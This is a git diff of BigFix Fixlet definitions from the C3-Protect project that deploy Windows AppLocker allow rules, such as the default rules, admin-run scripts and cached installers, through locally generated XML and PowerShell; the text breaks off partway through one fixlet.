+    <Title>Config - Applocker Rules - Allow Administrators to run All Scripts - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Scripts</P>
+<UL>
+<LI>Allow Administrators to run all scripts</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)  or  /* Script Rules */ (not exists key &quot;ed97d0cb-15ff-430f-b82c-8d7832957725&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Script">
+		<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Default - Windows (20599).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Default - Windows (20599).bes
index 5c35f6d9c..31b28d9a0 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Default - Windows (20599).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Default - Windows (20599).bes	
@@ -1,132 +1,132 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Rules - Allow Default - Windows
-  ID       : 20599
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-11T11:04:33
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Rules - Allow Default - Windows</Title>
-    <Description><![CDATA[<P>This policy adds the policies that are configured if you add "Default Rules" to Applocker. Specifically it configures:</P>
-<P>Executables</P>
-<UL>
-<LI>Allow all files in C:\Windows, C:\Program Files.
-<LI>Allow Administrators to run All Files.</LI></UL>
-<P>Installers</P>
-<UL>
-<LI>Allow everyone to run signed installers
-<LI>Allow everyone to run installers in C:\Windows\Installers
-<LI>Allow Administrators to install all installers</LI></UL>
-<P>Scripts</P>
-<UL>
-<LI>Allow all scripts in Program Files folder
-<LI>Allow all scripts in Windows folder
-<LI>Allow Administrators to run all scripts</LI></UL>
-<P>AppX</P>
-<UL>
-<LI>Allow everyone to run signed AppX</LI></UL>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* AppX Rules */ (not exists key &quot;a9e18c21-ff8f-43cf-b9fc-db40eed693ba&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;921cc481-6e17-4653-8f75-050b80acca20&quot; of it or not exists key &quot;a61c8b2c-a319-4cd0-9690-d2177cad7b51&quot; of it or not exists key &quot;fd686d83-a829-4351-8ff4-27c7de5755d2&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or   /* MSI Rules */ (not exists key &quot;b7af7102-efde-4369-8a89-7a6a392d1473&quot; of it or not exists key &quot;5b290184-345a-4453-b184-45305f6d9a54&quot; of it  or not exists key &quot;64ad46ff-0d71-4fa0-a30b-3f3d30c5433d&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)  or   /* Script Rules */ (not exists key &quot;06dce67b-934c-454f-a263-2515c8796a5d&quot; of it or not exists key &quot;9428c672-5fc3-47f4-808a-a0011f36dd2c&quot; of it  or not exists key &quot;ed97d0cb-15ff-430f-b82c-8d7832957725&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Appx" EnforcementMode="NotConfigured">
-		<FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
-					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
-				</FilePublisherCondition>
-			</Conditions>
-		</FilePublisherRule>
-	</RuleCollection>
-	<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
-	<RuleCollection Type="Exe" EnforcementMode="NotConfigured">
-		<FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%PROGRAMFILES%\*" />
-			</Conditions>
-		</FilePathRule>
-		<FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%WINDIR%\*" />
-			</Conditions>
-		</FilePathRule>
-		<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-	<RuleCollection Type="Msi" EnforcementMode="NotConfigured">
-		<FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
-					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
-				</FilePublisherCondition>
-			</Conditions>
-		</FilePublisherRule>
-		<FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%WINDIR%\Installer\*" />
-			</Conditions>
-		</FilePathRule>
-		<FilePathRule Id="64ad46ff-0d71-4fa0-a30b-3f3d30c5433d" Name="(Default Rule) All Windows Installer files" Description="Allows members of the local Administrators group to run all Windows Installer files." UserOrGroupSid="S-1-5-32-544" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="*.*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-	<RuleCollection Type="Script" EnforcementMode="NotConfigured">
-		<FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%PROGRAMFILES%\*" />
-			</Conditions>
-		</FilePathRule>
-		<FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%WINDIR%\*" />
-			</Conditions>
-		</FilePathRule>
-		<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Default - Windows
+  ID       : 20599
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-11T11:04:33
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Default - Windows</Title>
+    <Description><![CDATA[<P>This policy adds the policies that are configured if you add "Default Rules" to Applocker. Specifically it configures:</P>
+<P>Executables</P>
+<UL>
+<LI>Allow all files in C:\Windows, C:\Program Files.
+<LI>Allow Administrators to run All Files.</LI></UL>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run signed installers
+<LI>Allow everyone to run installers in C:\Windows\Installers
+<LI>Allow Administrators to install all installers</LI></UL>
+<P>Scripts</P>
+<UL>
+<LI>Allow all scripts in Program Files folder
+<LI>Allow all scripts in Windows folder
+<LI>Allow Administrators to run all scripts</LI></UL>
+<P>AppX</P>
+<UL>
+<LI>Allow everyone to run signed AppX</LI></UL>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* AppX Rules */ (not exists key &quot;a9e18c21-ff8f-43cf-b9fc-db40eed693ba&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Appx&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;921cc481-6e17-4653-8f75-050b80acca20&quot; of it or not exists key &quot;a61c8b2c-a319-4cd0-9690-d2177cad7b51&quot; of it or not exists key &quot;fd686d83-a829-4351-8ff4-27c7de5755d2&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or   /* MSI Rules */ (not exists key &quot;b7af7102-efde-4369-8a89-7a6a392d1473&quot; of it or not exists key &quot;5b290184-345a-4453-b184-45305f6d9a54&quot; of it  or not exists key &quot;64ad46ff-0d71-4fa0-a30b-3f3d30c5433d&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)  or   /* Script Rules */ (not exists key &quot;06dce67b-934c-454f-a263-2515c8796a5d&quot; of it or not exists key &quot;9428c672-5fc3-47f4-808a-a0011f36dd2c&quot; of it  or not exists key &quot;ed97d0cb-15ff-430f-b82c-8d7832957725&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Script&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[// Enter your action script here
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Appx" EnforcementMode="NotConfigured">
+		<FilePublisherRule Id="a9e18c21-ff8f-43cf-b9fc-db40eed693ba" Name="(Default Rule) All signed packaged apps" Description="Allows members of the Everyone group to run packaged apps that are signed." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+	</RuleCollection>
+	<RuleCollection Type="Dll" EnforcementMode="NotConfigured" />
+	<RuleCollection Type="Exe" EnforcementMode="NotConfigured">
+		<FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="a61c8b2c-a319-4cd0-9690-d2177cad7b51" Name="(Default Rule) All files located in the Windows folder" Description="Allows members of the Everyone group to run applications that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="fd686d83-a829-4351-8ff4-27c7de5755d2" Name="(Default Rule) All files" Description="Allows members of the local Administrators group to run all applications." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+	<RuleCollection Type="Msi" EnforcementMode="NotConfigured">
+		<FilePublisherRule Id="b7af7102-efde-4369-8a89-7a6a392d1473" Name="(Default Rule) All digitally signed Windows Installer files" Description="Allows members of the Everyone group to run digitally signed Windows Installer files." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePublisherCondition PublisherName="*" ProductName="*" BinaryName="*">
+					<BinaryVersionRange LowSection="0.0.0.0" HighSection="*" />
+				</FilePublisherCondition>
+			</Conditions>
+		</FilePublisherRule>
+		<FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\Installer\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="64ad46ff-0d71-4fa0-a30b-3f3d30c5433d" Name="(Default Rule) All Windows Installer files" Description="Allows members of the local Administrators group to run all Windows Installer files." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*.*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+	<RuleCollection Type="Script" EnforcementMode="NotConfigured">
+		<FilePathRule Id="06dce67b-934c-454f-a263-2515c8796a5d" Name="(Default Rule) All scripts located in the Program Files folder" Description="Allows members of the Everyone group to run scripts that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%PROGRAMFILES%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="9428c672-5fc3-47f4-808a-a0011f36dd2c" Name="(Default Rule) All scripts located in the Windows folder" Description="Allows members of the Everyone group to run scripts that are located in the Windows folder." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\*" />
+			</Conditions>
+		</FilePathRule>
+		<FilePathRule Id="ed97d0cb-15ff-430f-b82c-8d7832957725" Name="(Default Rule) All scripts" Description="Allows members of the local Administrators group to run all scripts." UserOrGroupSid="S-1-5-32-544" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows (20619).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows (20619).bes
index cb8cca6d8..bb56e93b7 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows (20619).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows (20619).bes	
@@ -1,63 +1,63 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows
-  ID       : 20619
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-12T17:31:06
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Installers</P>
-<UL>
-<LI>Allow everyone to run installers in C:\Windows\Installers</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)  or  /* MSI Rules */ (not exists key &quot;5b290184-345a-4453-b184-45305f6d9a54&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Msi">
-		<FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%WINDIR%\Installer\*" />
-			</Conditions>
-		</FilePathRule>
-	</RuleCollection>
-</AppLockerPolicy>
-
-
-_end_
-move __createfile Applocker.xml
-
-waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
-]]></ActionScript>
-    </DefaultAction>
-  </Fixlet>
-</BES>
+<?xml version="1.0" encoding="UTF-8"?>
+<!--
+  BigFix Fixlet Export
+
+  Title    : Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows
+  ID       : 20619
+  Author   : strawgate
+  Domain   : BESC
+  Imported : 2016-05-12T17:31:06
+  Source   : bigfixm1_main @ BES-Root
+-->
+<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
+  <Fixlet>
+    <Title>Config - Applocker Rules - Allow Everyone to run Cached Installers - Windows</Title>
+    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
+<P>Installers</P>
+<UL>
+<LI>Allow everyone to run installers in C:\Windows\Installers</LI></UL>
+<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
+<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
+    <Relevance>windows of operating system</Relevance>
+    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)  or  /* MSI Rules */ (not exists key &quot;5b290184-345a-4453-b184-45305f6d9a54&quot; of it ) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Msi&quot; of native registry)</Relevance>
+    <Category>Application Whitelisting</Category>
+    <Source>Internal</Source>
+    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
+    <MIMEField>
+    	<Name>x-fixlet-modification-time</Name>
+    	<Value>Thu, 17 Sep 2026 21:19:04 +0000</Value>
+    </MIMEField>
+    <Domain>BESC</Domain>
+    <DefaultAction ID="Action1">
+      <Description>
+        <PreLink>Click </PreLink>
+        <Link>here</Link>
+        <PostLink> to deploy this action.</PostLink>
+      </Description>
+      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
+
+parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
+
+delete __createfile
+delete applocker.xml
+
+createfile until _end_
+<AppLockerPolicy Version="1">
+	<RuleCollection Type="Msi">
+		<FilePathRule Id="5b290184-345a-4453-b184-45305f6d9a54" Name="(Default Rule) All Windows Installer files in %systemdrive%\Windows\Installer" Description="Allows members of the Everyone group to run all Windows Installer files located in %systemdrive%\Windows\Installer." UserOrGroupSid="S-1-1-0" Action="Allow">
+			<Conditions>
+				<FilePathCondition Path="%WINDIR%\Installer\*" />
+			</Conditions>
+		</FilePathRule>
+	</RuleCollection>
+</AppLockerPolicy>
+
+
+_end_
+move __createfile Applocker.xml
+
+waithidden "{parameter "PowershellExe"}" -ExecutionPolicy Bypass -command "Import-Module AppLocker;Set-ApplockerPolicy -Merge -XMLPolicy ""{pathname of file "Applocker.xml" of client folder of current site}"""
+]]></ActionScript>
+    </DefaultAction>
+  </Fixlet>
+</BES>
diff --git a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows (20620).bes b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows (20620).bes
index 6d9a5ba2f..5f713a439 100644
--- a/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows (20620).bes	
+++ b/Sites/Windows Management/Fixlets/Fixlets/Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows (20620).bes	
@@ -1,67 +1,67 @@
-<?xml version="1.0" encoding="UTF-8"?>
-<!--
-  BigFix Fixlet Export
-
-  Title    : Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows
-  ID       : 20620
-  Author   : strawgate
-  Domain   : BESC
-  Imported : 2016-05-12T17:31:17
-  Source   : bigfixm1_main @ BES-Root
--->
-<BES xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:noNamespaceSchemaLocation="BES.xsd">
-  <Fixlet>
-    <Title>Config - Applocker Rules - Allow Everyone to run Installed Executables - Windows</Title>
-    <Description><![CDATA[<P>This policy adds a policy to Applocker. Specifically it configures:</P>
-<P>Executables</P>
-<UL>
-<LI>Allow all files in C:\Windows, C:\Program Files, C:\Program Files (x86)</LI></UL>
-<P>Information on using this content is available here: <A href="https://github.com/strawgate/C3-Protect/wiki/Applocker">https://github.com/strawgate/C3-Protect/wiki/Applocker</A>&nbsp;</P>
-<P>For general information or to report issues with C3 Protect content please visit GitHub here: <A href="https://github.com/strawgate/C3-Protect">https://github.com/strawgate/C3-Protect</A></P>]]></Description>
-    <Relevance>windows of operating system</Relevance>
-    <Relevance>/* If no policies exist we are relevant */ (not exists key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)  or  /* EXE Rules */ (not exists key &quot;921cc481-6e17-4653-8f75-050b80acca20&quot; of it or not exists key &quot;a61c8b2c-a319-4cd0-9690-d2177cad7b51&quot; of it) of (key &quot;HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\SrpV2\Exe&quot; of native registry)</Relevance>
-    <Category>Application Whitelisting</Category>
-    <Source>Internal</Source>
-    <SourceReleaseDate>2016-05-10</SourceReleaseDate>
-    <MIMEField>
-    	<Name>x-fixlet-modification-time</Name>
-    	<Value>Thu, 17 Sep 2026 21:19:03 +0000</Value>
-    </MIMEField>
-    <Domain>BESC</Domain>
-    <DefaultAction ID="Action1">
-      <Description>
-        <PreLink>Click </PreLink>
-        <Link>here</Link>
-        <PostLink> to deploy this action.</PostLink>
-      </Description>
-      <ActionScript MIMEType="application/x-Fixlet-Windows-Shell"><![CDATA[action uses wow64 redirection {not x64 of operating system}
-
-parameter "PowerShellExe"="{ pathname of file ((it as string) of value "Path" of key "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\PowerShell\1\ShellIds\Microsoft.PowerShell" of native registry) }"
-
-delete __createfile
-delete applocker.xml
-
-createfile until _end_
-<AppLockerPolicy Version="1">
-	<RuleCollection Type="Exe">
-		<FilePathRule Id="921cc481-6e17-4653-8f75-050b80acca20" Name="(Default Rule) All files located in the Program Files folder" Description="Allows members of the Everyone group to run applications that are located in the Program Files folder." UserOrGroupSid="S-1-1-0" Action="Allow">
-			<Conditions>
-				<FilePathCondition Path="%PROGRAMFILES%\*" />
-			</Conditions>
-		</FilePathRule>
